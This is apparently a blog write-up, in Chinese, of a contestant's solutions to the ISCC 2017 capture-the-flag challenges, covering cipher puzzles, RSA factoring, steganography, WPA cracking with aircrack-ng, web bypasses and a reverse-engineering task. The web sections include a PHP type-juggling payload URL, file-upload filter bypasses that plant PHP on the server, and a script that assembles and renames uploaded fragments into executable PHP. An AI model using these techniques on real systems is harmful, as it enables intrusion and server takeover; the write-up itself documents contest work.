ISCC 2017 部分解题记录 By Assassin

Basic 50 Wheel Cipher

加密表:
1:  < ZWAXJGDLUBVIQHKYPNTCRMOSFE <
2:  < KPBELNACZDTRXMJQOYHGVSFUWI <
3:  < BDMAIZVRNSJUWFHTEQGYXPLOCK <
4:  < RPLNDVHGFCUKTEBSXQYIZMJWAO <
5:  < IHFRLABEUOTSGJVDKCPMNZQWXY <
6:  < AMKGHIWPNYCJBFZDRUSLOQXVET <
7:  < GWTHSPYBXIZULVKMRAFDCEONJQ <
8:  < NOZUTWDCVRJLXKISEFAPMYGHBQ <
9:  < XPLTDSRFHENYVUBMCQWAOIKZGJ <
10: < UDNAJFBOWTGVRSCZQKELMXYIHP <
11: < MNBVCXZQWERTPOIUYALSKDJFHG <
12: < LVNCMXZPQOWEIURYTASBKJDFHG <
13: < JZQAWSXCDERFVBGTYHNUMKILOP <

密钥为:2,3,7,5,13,12,9,1,8,10,4,11,6
密文为:NFQKSEVOQOFNP

直接google一下发现是什么二战时期的一个轮转加密,直接按照他得规律写脚本就好了

#coding:utf-8
import re
sss='''
1:  < ZWAXJGDLUBVIQHKYPNTCRMOSFE <
2:  < KPBELNACZDTRXMJQOYHGVSFUWI <
3:  < BDMAIZVRNSJUWFHTEQGYXPLOCK <
4:  < RPLNDVHGFCUKTEBSXQYIZMJWAO <
5:  < IHFRLABEUOTSGJVDKCPMNZQWXY <
6:  < AMKGHIWPNYCJBFZDRUSLOQXVET <
7:  < GWTHSPYBXIZULVKMRAFDCEONJQ <
8:  < NOZUTWDCVRJLXKISEFAPMYGHBQ <
9:  < XPLTDSRFHENYVUBMCQWAOIKZGJ <
10: < UDNAJFBOWTGVRSCZQKELMXYIHP <
11  < MNBVCXZQWERTPOIUYALSKDJFHG <
12  < LVNCMXZPQOWEIURYTASBKJDFHG <
13  < JZQAWSXCDERFVBGTYHNUMKILOP <
'''
#密钥为:2,3,7,5,13,12,9,1,8,10,4,11,6
#密文为:NFQKSEVOQOFNP
m="NFQKSEVOQOFNP"
content=re.findall(r'< (.*?) <',sss,re.S)
iv=[2,3,7,5,13,12,9,1,8,10,4,11,6]
vvv=[]
ans=""
for i in range(13):
    index=content[iv[i]-1].index(m[i])
    vvv.append(index)

for i in range(0,26):
    flag=""
    for j in range(13):
        flag+=content[iv[j]-1][(vvv[j]+i)%26]
    print flag

发现flag

ISCC 2017 部分解题记录 By Assassin_第1张图片

Basic 100 说我作弊,需要证据

本题目是一个 RandomsCTF上的原题,是一个比较好的RSA+数字验证的题目!下面讲一下解题的步骤
首先我们拿到了一个数据包,然后观察一下TCP流可以找到有许多base64加密的数据流

ISCC 2017 部分解题记录 By Assassin_第2张图片

然后我们首先base64解密一下观察一下

SEQ = 13; DATA = 0x3b04b26a0adada2f67326bb0c5d6L; SIG = 0x2e5ab24f9dc21df406a87de0b3b4L;
SEQ = 0; DATA = 0x7492f4ec9001202dcb569df468b4L; SIG = 0xc9107666b1cc040a4fc2e89e3e7L;
SEQ = 5; DATA = 0x94d97e04f52c2d6f42f9aacbf0b5L; SIG = 0x1e3b6d4eaf11582e85ead4bf90a9L;
SEQ = 4; DATA = 0x2c29150f1e311ef09bc9f06735acL; SIG = 0x1665fb2da761c4de89f27ac80cbL;
SEQ = 18; DATA = 0x181901c059de3b0f2d4840ab3aebL; SIG = 0x1b8bdf9468f81ce33a0da2a8bfbeL;
SEQ = 2; DATA = 0x8a03676745df01e16745145dd212L; SIG = 0x1378c25048c19853b6817eb9363aL;
SEQ = 20; DATA = 0x674880905956979ce49af33433L; SIG = 0x198901d5373ea225cc5c0db66987L;
SEQ = 0; DATA = 0x633282273f9cf7e5a44fcbe1787bL; SIG = 0x2b15275412244442d9ee60fc91aeL;
SEQ = 28; DATA = 0x19688f112a61169c9090a4f9918dL; SIG = 0x1448ac6eee2b2e91a0a6241e590eL;
...

然后我们观察,可以通过查找资料发现,这个就是RSA+数字签名

然后我们已经知道了Alice和Bob的公钥对

X老师怀疑一些调皮的学生在一次自动化计算机测试中作弊,他使用抓包工具捕获到了Alice和Bob的通信流量。狡猾的Alice和Bob同学好像使用某些加密方式隐藏通信内容,使得X老师无法破解它,也许你有办法帮助X老师。X老师知道Alice的RSA密钥为(n, e) = (0x53a121a11e36d7a84dde3f5d73cf, 0x10001) (192.168.0.13)?,Bob的RSA密钥为(n, e) =(0x99122e61dc7bede74711185598c7, 0x10001) (192.168.0.37)

然后我们有一个大数分解的神奇网站
大数分解

然后我们可以分别分解n得到Alice和Bob运算中的p和q

Alice's p and q are 38456719616722997 and 44106885765559411.
Bob's p and q are 49662237675630289 and 62515288803124247.

然后我们可以通过 扩展欧几里得算法得到d,好多人用的python gmpy库,但是windows下太难装了,而我们直到p和q后根据RSA算法知道

N=p1q1

ed==1mod((p1)(q1))

简单讲一下扩展欧几里得,我们看一组简单的运算

扩展欧几里得算法求这里写图片描述的是方程的解。原理如下
设a>b,当时b==0,gcd(a,b)==a,此时x=1,y=0,否则设

这里写图片描述

由于这里写图片描述,所以进一步得到

这里写图片描述
这里写图片描述

然后我们就可以写脚本了,exgcd函数如下

def exgcd(a,b):
    if b==0:
        return 1,0
    tempx,tempy=exgcd(b,a%b)
    tmp = tempx
    x=tempy
    y = tmp - (a / b) * tempy
    return x,y

然后我们就知道两个人的d了

然后我们写一个RSA的类,记录两个人的不同变量内容

class RSAPerson(object):
    def __init__(self, e, p, q):
        self.n = p*q
        self.p = p
        self.q = q
        self.e = e
        tempx,tempy=exgcd(e,(p-1)*(q-1))        #扩展gcd求d
        self.d = tempx
        self.key = RSA.construct((long(self.n), long(self.e), self.d))  #将n、e、d封装成标准的RSA密钥

    def sign(self, message):
        return self.key.sign(message, '')

    def verify(self, message, signature):       #数字签名接受验证
        return self.key.publickey().verify(message, [signature])

    def encrypt(self, message):                 #加密
        return self.key.publickey().encrypt(message)

    def decrypt(self, message):                 #解密
        return self.key.decrypt(message)

然后构造两个人

alice = RSAPerson(
    0x10001,
    38456719616722997,
    44106885765559411
)

bob = RSAPerson(
    0x10001,
    49662237675630289,
    62515288803124247
)

之后我们需要了解RSA数字签名的过程,在Bob发送内容后,如果Alice想要接受,需要有一步接收验证!!!

那我们正则表达扣取数据data,然后用Bob的私钥进行解密,如果Alice接收成功说明是我们想要的数据,脚本如下

packets = []
with open(r"C:\Users\Assassin\Desktop\input.txt") as lines:
    for line in lines:
        decoded = base64.b64decode(line)
        content=re.findall(r'= (.*?);',decoded,re.S)
        seq = int(content[0],10)
        data = int(content[1][2:-1],16)
        signature  = int (content[2][2:-1],16)
        data = bob.decrypt(data)
        if alice.verify(data, signature):
            data =chr(data)
            packets .append((
                seq,
                data,
                signature
                )
            )
print packets

然后我们观察如下:

ISCC 2017 部分解题记录 By Assassin_第3张图片

明显和我们的序号seq有关了吧,排序一下即可,总体的代码如下

# encoding: utf-8
from Crypto.PublicKey import RSA
import base64
import re,os,regex
def exgcd(a,b):
    if b==0:
        return 1,0
    tempx,tempy=exgcd(b,a%b)
    tmp = tempx
    x=tempy
    y = tmp - (a / b) * tempy
    return x,y

class RSAPerson(object):
    def __init__(self, e, p, q):
        self.n = p*q
        self.p = p
        self.q = q
        self.e = e
        tempx,tempy=exgcd(e,(p-1)*(q-1))        #扩展gcd求d
        self.d = tempx
        self.key = RSA.construct((long(self.n), long(self.e), self.d))  #将n、e、d封装成标准的RSA密钥

    def sign(self, message):
        return self.key.sign(message, '')

    def verify(self, message, signature):       #数字签名接受验证
        return self.key.publickey().verify(message, [signature])

    def encrypt(self, message):                 #加密
        return self.key.publickey().encrypt(message)

    def decrypt(self, message):                 #解密
        return self.key.decrypt(message)

alice = RSAPerson(
    0x10001,
    38456719616722997,
    44106885765559411
)

bob = RSAPerson(
    0x10001,
    49662237675630289,
    62515288803124247
)

packets = []
with open(r"") as lines:
    for line in lines:
        decoded = base64.b64decode(line)
        content=re.findall(r'= (.*?);',decoded,re.S)
        #print content
        seq = int(content[0],10)
        data = int(content[1][2:-1],16)
        signature  = int (content[2][2:-1],16)
        #print seq,data,signature
        data = bob.decrypt(data)
        if alice.verify(data, signature):
            data =chr(data)
            packets .append((
                seq,
                data,
                signature
                )
            )
#print packets
print ''.join([packet[1] for packet in sorted(packets)])

确实好题!!!

Basic 100 你猜猜。。

没什么好说的,打开看到一堆类似文件编码的胴体,拖到hex editor得到一个zip压缩包,然后爆破一下密码发现密码是123456!解压得到flag!!!

ISCC 2017 部分解题记录 By Assassin_第4张图片

Basic 100 神秘图片

用hex editor打开看一下发现多个png结构,果断binwalk分析,发现多个文件,foremost直接分解,发猪圈密码

这里写图片描述

直接解密得到goodluck

Basic 100 告诉你个秘密

发现只有两个串

636A56355279427363446C4A49454A7154534230526D6843
56445A31614342354E326C4B4946467A5769426961453067

然后两个一组作为16进制,用ASCII码转换一下得到

cjV5RyBscDlJIEJqTSB0RmhCVDZ1aCB5N2lKIFFzWiBiaE0g

然后顺理成章base64解密一下!得到

r5yG lp9I BjM tFhB
T6uh y7iJ QsZ bhM 

嘿嘿嘿,是不是不知道是啥了?看看电脑键盘吧~键盘密码!答案

TONGYUAN

Basic 150 二维码

本题真是坑死了,首先得到二维码,看一下提示

The password of the router is our flag

然后看到文件名是utf-8编码

ISCC 2017 部分解题记录 By Assassin_第5张图片

然后爆破密码得到

ISCC 2017 部分解题记录 By Assassin_第6张图片

解压分析是air-crack攻击记录,而且提示,密码是ISCC+(数字||大写字母)*4,直接写好字典,用命令

air-crack.exe .cap文件 -w  字典文件

跑出的密码就是flag

ISCC 2017 部分解题记录 By Assassin_第7张图片

Misc 100 眼见非实

没什么,用hex editor打开发现有压缩包的形势,直接改成rar后缀解压,最后在\word\document.xml直接找到答案

ISCC 2017 部分解题记录 By Assassin_第8张图片

Misc 150 就在其中

二维码拖到hex editor一看就有问题,就是有一个ZIP压缩包!解压后得到了一个数据包,观察数据包的TCP流可以得到三个东西,key.txt、rsa_PRIVATE_key.txt和 public_key.txt,明显的RSA加密喽.直接拖到网站搞

http://tool.chacuo.net/cryptrsaprikey

注意密文要转换成base64格式的!否则会丢失数据!!

ISCC 2017 部分解题记录 By Assassin_第9张图片

hi, boys and girls! flag is {haPPy_Use_0penSsI}

Misc 250 普通的Disco

直接利用Audicity打开,找了一会发现在wav文件的最最前面有大概100帧左右的异常,而因为整体帧数比较多,这个是没法左移看到的。。。

ISCC 2017 部分解题记录 By Assassin_第10张图片

发现了问题,然后用python脚本得到前面的帧,发现正好有105个,假设高位是1,低位是0,那么得到了一个105的比特流,如果7个一组用Ascii解码,就得到flag了

#coding: utf-8
import wave
import struct
filename = r'...\Disco.wav'  
wavefile = wave.open(filename, 'r') # open for writing 
bits=''

for i in range(105):  
    val = wavefile.readframes(1)  
    left = val[0:2]  
    v = struct.unpack('h', left )[0]  
    #print v
    if v>0:
        bits+='1'
    else :
        bits+='0'

print bits

flag=''

for i in range(15):
    cut=bits[i*7:i*7+7]
    num=int(cut,2)
    flag+=chr(num)
print flag

#flag{W0W*funny}

这里写图片描述

Misc 300 很普通的数独

这个题目真是坑死我了,一开始真以为要算数独,后来经过前辈提醒,就是5*5图片组成二维码被,5*5的小图构成大图,每个小图9*9。然后有数字就是黑色的,否则为白色的。
而且我们很简单就能发现,其实1、5、21.png的位置是错的,调换一下位置就好了!
那么问题来了,咋提取???好多人手工的,我不服,写了个python脚本,思路就是,构造180*180的图,4*4为一个像素点(否则1*1像素点太小了…),然后每行每列直接去对应的图片找,图片的截取都是试出来的,很大的偶然性,而且依赖于图片相对规整!
直接上代码

#coding:utf-8
import Image
import time

path =''
newimg = Image.new ("RGBA", (182, 182), (255, 255, 255))
#newimg.show()
box = (3, 3, 199, 199)
for newpngx in range(45):
    for newpngy in range(45):
        pngnumber=newpngx/9*5+newpngy/9+1   #用第几个png
        x=newpngx%9
        y=newpngy%9
        box1 = (3+y*22+8, 3+x*22+8, 3+y*22+15, 3+x*22+15)
        im = Image.open(path+str(pngnumber)+".png")
        copy1=im.crop(box)
        copy=copy1.crop(box1)
        img=copy.load()
        flag=0
        for xx in range(0,7):
            for yy in range(0,7):
                if img[xx,yy]!=(255,255,255,255):
                    flag=1
                    break
            if flag==1:
                break
        if flag==1:
            for xxx in range(4):
                for yyy in range(4):
                    newimg.putpixel([newpngx*4+xxx,newpngy*4+yyy],(0, 0, 0))
#newimg.show()
newimg.save(path+"answer.png")


生成二维码如下

ISCC 2017 部分解题记录 By Assassin_第11张图片

在线解码一下

ISCC 2017 部分解题记录 By Assassin_第12张图片

然后n次base64解密得到flag

flag{y0ud1any1s1}

Web 100 Web签到题,来和我换flag啊!

比较没有营养的题目…纯脑洞吧…
首先看到他要f1ag,然后审计源码有一个post提交的变量flag和隐藏的变量hiddenflag,给f1ag呗

ISCC 2017 部分解题记录 By Assassin_第13张图片

说真的真不到要干啥了…但是突然发现!不给你FLAG???在搞一个变量叫FLAG试试?无语…

ISCC 2017 部分解题记录 By Assassin_第14张图片

flag格式有毒…:

f1ag: {N0w_go1Odo!otherw3b}

Web 100 WelcomeToMySQL

一开始以为是传统的文件上传绕过,发现直接可以上传,而且可以访问到!但是禁止上传php后缀文件!所以呢上传php5后缀文件,而且经过提示在base.php有源码,所以先写一个脚本访问base.php


show_source("base.php");
?>

上传到upload/123.php5路径访问,然后可以得到内容

然后我们直接写php脚本访问数据库!


$mysql_server_name='localhost'; //改成自己的mysql数据库服务器
$mysql_username='iscc2017'; //改成自己的mysql数据库用户名
$mysql_password='iscc2017'; //改成自己的mysql数据库密码
$mysql_database='flag'; //改成自己的mysql数据库名
$conn=mysql_connect($mysql_server_name,$mysql_username,$mysql_password)  ; //连接数据库
mysql_query("set names 'utf8'"); //数据库输出编码 应该与你的数据库编码保持一致.南昌网站建设公司百恒网络PHP工程师建议用UTF-8 国际标准编码.
mysql_select_db($mysql_database); //打开数据库
$sql ="select * from flag "; //SQL语句
$result = mysql_query($sql,$conn); //查询
#$row = mysql_fetch_array($result);
#echo $row;
while($row =mysql_fetch_array($result))
{
    echo "
"; //排版代码 echo $row[2] . "
"
; echo "
"
; //排版代码 } ?>

得到答案

这里写图片描述

Web 150 自相矛盾

首先给出源代码


$v1=0;$v2=0;$v3=0;
$a=(array)json_decode(@$_GET['iscc']); 
if(is_array($a)){
    is_numeric(@$a["bar1"])?die("nope"):NULL;
    if(@$a["bar1"]){
        ($a["bar1"]>2016)?$v1=1:NULL;
    }
    if(is_array(@$a["bar2"])){
        if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
        $pos = array_search("nudt", $a["bar2"]);
        $pos===false?die("nope"):NULL;
        foreach($a["bar2"] as $key=>$val){
            $val==="nudt"?die("nope"):NULL;
        }
        $v2=1;

    }   
}
$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
    if(!strcmp($c[1],$d) && $c[1]!==$d){
        eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
        strpos(($c[0].$d), "isccctf2017")?$v3=1:NULL;
    }
}
#echo $v1." ".$v2." ".$v3;
if($v1 && $v2 && $v3){ 

   echo $flag;
}
?>

然后我们发现需要绕过几个地方
1.$a[“bar1”]不是数字且大雨2016,那么构造字符串2017asd即可
2.if(count(\$a[“bar2”])!==5 OR !is_array(\$a[“bar2”][0]))为了绕过它,首先构造\$a[“bar2”]是一个5个元素组成的数组,然后需要第一个元素也是个数组
3.绕过一下代码,首先要nudt在\$a[“bar2”]中,然后又不让nudt在其中,怎么办!第一句用“”==0饶过即可!!!

$pos = array_search("nudt", $a["bar2"]);
        $pos===false?die("nope"):NULL;
        foreach($a["bar2"] as $key=>$val){
            $val==="nudt"?die("nope"):NULL;
        }

4.首先保证$c[1]存在,然后eregi()函数我们可以用%00截断,strcmp比较是==弱类型比较,构造 $c[1]为字符串,可以和%00(空)匹配,然后让$c[0]=”isccctf2017”即可

$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
    if(!strcmp($c[1],$d) && $c[1]!==$d){
        eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
        strpos(($c[0].$d), "isccctf2017")?$v3=1:NULL;
    }
}
payload:
http://139.129.108.53:8083/web-09/?iscc={%22bar1%22:%222017asd%22,%22bar2%22:[[1],2,3,4,0]}&dog=%00&cat[0]=%22isccctf2017%22&cat[1][]=asd

这里写图片描述

Web 150 我们一起来日站

首先不知道怎么办,用目录扫描工具dirfuzz.py扫描一下

这里写图片描述

然后我们知道了有robots.txt,打开看一下

ISCC 2017 部分解题记录 By Assassin_第15张图片

发现有一个Disallow: /21232f297a57a5a743894a0e4a801fc3/

就是我们可以访问这个文件夹下文件,但是不能访问文件夹下的文件夹!但是我们确定有这个文件夹存在,继续扫描

ISCC 2017 部分解题记录 By Assassin_第16张图片

打开admin.php直接尝试一下常规的注入…结果就是简单的password 绕过就出flag了

ISCC 2017 部分解题记录 By Assassin_第17张图片

**Logged in! Flag:{ar32wefafafqw325t4rqfcafas}**

Web 200 I have a jpg,i upload a txt.

非常有意思的一个题目,打开题目得到源代码如下、

 
 
 
include 'hanshu.php'; 
if(isset($_GET['do'])) 
{ 
    $do=$_GET['do']; 
    if($do==upload) 
    { 
        if(empty($_FILES)) 
        { 
            $html1=<<"index.php?do=upload" method="post" enctype="multipart/form-data"> 
            "file" name="filename">                  
            "submit" value="upload"> 
             
            HTML1; 
            echo $html1; 
        } 
        else 
        {   $file=@file_get_contents($_FILES["filename"]["tmp_name"]); 
            if(empty($file)) 
            { 
                die('do you upload a file?'); 
            } 
            else 
            { 
                if((strpos($file,')>-1)||(strpos($file,'?>')>-1)||(stripos($file,'php')>-1)||(stripos($file,')>-1)||(stripos($file,')>-1)) 
                { 
                    die('you can\' upload this!'); 
                } 
                else 
                { 
                    $rand=mt_rand(); 
                    $path='/var/www/html/web-03/uploads/'.$rand.'.txt'; 
                    file_put_contents($path, $file); 
                    echo 'your upload success!./uploads/'.$rand.'.txt'; 
                } 
            } 

        } 

    } 
    elseif($do==rename) 
    { 
        if(isset($_GET['re'])) 
        { 
            $re=$_GET['re']; 
            $re2=@unserialize(base64_decode(unKaIsA($re,6))); 
            if(is_array($re2)) 
            { 
                if(count($re2)==2) 
                {    
                    $rename='txt'; 
                    $rand=mt_rand(); 
                    $fp=fopen('./uploads/'.$rand.'.txt','w'); 
                    foreach($re2 as $key=>$value) 
                    { 
                        if($key==0) 
                        { 
                            $rename=$value; 
                        } 
                        else 
                        { 
                            if(file_exists('./uploads/'.$value.'.txt')&&is_numeric($value)) 
                            { 
                                $file=file_get_contents('./uploads/'.$value.'.txt'); 
                                fwrite($fp,$file); 
                            } 
                        } 
                    } 
                    fclose($fp); 
                    waf($rand,$rename); 
                    rename('./uploads/'.$rand.'.txt','./uploads/'.$rand.'.'.$rename); 
                    echo "you success rename!./uploads/$rand.$rename"; 
                } 
            } 
            else 
            { 
                echo 'please not hack me!'; 
            } 
        } 
        elseif(isset($_POST['filetype'])&&isset($_POST['filename'])) 
        { 
            $filetype=$_POST['filetype']; 
            $filename=$_POST['filename']; 
            if((($filetype=='jpg')||($filetype=='png')||($filetype=='gif'))&&is_numeric($filename)) 
            {    
                $re=KaIsA(base64_encode(serialize(array($filetype,$filename))),6); 
                header("Location:index.php?do=rename&re=$re"); 
                exit(); 
            } 
            else 
            { 
                echo 'you do something wrong'; 
            } 
        } 
        else 
        { 
            $html2=<<"index.php?do=rename" method="post">           
filetype: "text" name="filetype" /> please input the your file's type 

filename: please input your file'
s numeric name,like 12345678
"submit" /> HTML2; echo $html2; } } } else { show_source(__FILE__); } ?>

猛一看很蒙蔽,实际上就是实现了三个功能
1.上传文件,只能是txt结尾
2.文件重新名
3.定义文件类型和名字,利用2函数重命名

然后类,比较有意思的是这个

ISCC 2017 部分解题记录 By Assassin_第18张图片

那么假如我们能很好的构造re,就可以实现任意更改文件名,而且我们看到比较有意思的一个地方

ISCC 2017 部分解题记录 By Assassin_第19张图片

最开始我们打开了文件,如果两次判断都进了else中,那么可以实现两个txt文件内容的合并!!!

但是难点又在哪里???
这里写图片描述

我们并不知道unKaIsA函数是个啥玩意!!!就在这坑死我了,以为就是简单的凯撒解密了,大小写同步,但是怎么都不行…幸好有K巨提示,大小写不同步,凯撒一个做加法,一个做减法…然后发现可以成功构造绕过!!!

现在我们理一下思路,先将一个php文件内容拆分,利用上述方法合并,然后在重命名,得到一个xxx.php文件,假设我们将文件内容拆分为

<
?ph
p
echo 123;
?
>

组合起来形成


echo 123;
?>

分别上传内容并记录好保存的文件位置!!!因为后面要用!!!我的记录如下

"<"  your upload success!./uploads/1648462279.txt 
"?ph" your upload success!./uploads/597839619.txt 


"p" your upload success!./uploads/1929717089.txt 

"echo 123;
?"
your upload success!./uploads/1798407962.txt 

">" your upload success!./uploads/919848482.txt 

然后写一个php脚本跑出加密得到的我们想要的re值,代码如下

'/include/Requests-1.7.0/library/Requests.php';
Requests::register_autoloader();
$url = 'http://139.129.108.53:3366/web-03';
$try="a:2:{i:0;s:3:\"php\";i:2;s:9:\"767277819\";}";

$base64=base64_encode($try);
var_dump($base64);
$have_try="";
for ($i=0; $i$base64);$i++){
    if (ord($base64[$i])>=ord('A') and ord($base64[$i])<=ord('Z')){
        $have_try.=chr(ord('A')+(ord($base64[$i])-ord('A')+26+6)%26);
    }
    else if (ord($base64[$i])>=ord('a') and ord($base64[$i])<=ord('z')){
        $have_try.=chr(ord('a')+(ord($base64[$i])-ord('a')+26-6)%26);
    }
    else {
        $have_try.=$base64[$i];
    }
}
var_dump($have_try);

$rep = Requests::get($url."?do=rename&re=$have_try");
$content = $rep->body;
print $content;

?>

依次不断变换上述代码的$try变量中的两个数字值(前后顺序分别为要合并的文件名),直至最后得到合并完全的php内容的txt文件!我的合并流程如下

you success rename!./uploads/1384452155.txt
you success rename!./uploads/934494653.txt
you success rename!./uploads/567170825.txt
you success rename!./uploads/767277819.txt

然后我们改名字

'/include/Requests-1.7.0/library/Requests.php';
Requests::register_autoloader();
$url = 'http://139.129.108.53:3366/web-03';
#$try="a:2:{i:1;s:9:\"567170825\";i:2;s:9:\"919848482\";}";
$try="a:2:{i:0;s:3:\"php\";i:2;s:9:\"767277819\";}";

$base64=base64_encode($try);
var_dump($base64);
$have_try="";
for ($i=0; $i$base64);$i++){
    if (ord($base64[$i])>=ord('A') and ord($base64[$i])<=ord('Z')){
        $have_try.=chr(ord('A')+(ord($base64[$i])-ord('A')+26+6)%26);
    }
    else if (ord($base64[$i])>=ord('a') and ord($base64[$i])<=ord('z')){
        $have_try.=chr(ord('a')+(ord($base64[$i])-ord('a')+26-6)%26);
    }
    else {
        $have_try.=$base64[$i];
    }
}
var_dump($have_try);

$rep = Requests::get($url."?do=rename&re=$have_try");
$content = $rep->body;
print $content;
?>

就成功了!!!
打开是时候发现发生了重定向

ISCC 2017 部分解题记录 By Assassin_第20张图片

找遍在这个页面都没有,想到是否在重定向之前的页面之中?burp抓包得到flag

ISCC 2017 部分解题记录 By Assassin_第21张图片

flag{54a5bd4fe6193580020487b56acff6c5}

Reverse 100 你猜

真是二进制脸盲很友好的题目,首先我们根据提示看到

ISCC 2017 部分解题记录 By Assassin_第22张图片

flag格式已经给了,所以就是找到三个关键的字符串,打开IDA静态分析一下源码,代码结构很简单,找到了真个

ISCC 2017 部分解题记录 By Assassin_第23张图片

首先我们看第一个红框中的判定条件,我们需要sub_400646 函数返回0,代码如下

ISCC 2017 部分解题记录 By Assassin_第24张图片

明显看到就是将v5-v14中分成了两个字符串比对,两个字符串分别5字节一组,分别是l1nux和crack,这个是不是我们需要的字节呢?继续向下看

看主函数中第二个框框找到sub_400655 函数,发现十分没有营养,就是每一字节都有一个判断,通过简单的加减法得出这个5字节的password是ILCF!

然后答案很明显了…

flag{l1nux_crack_ILCF!}

最后一段时间没有时间去做了,唉,错过了好遗憾

你可能感兴趣的:(Web)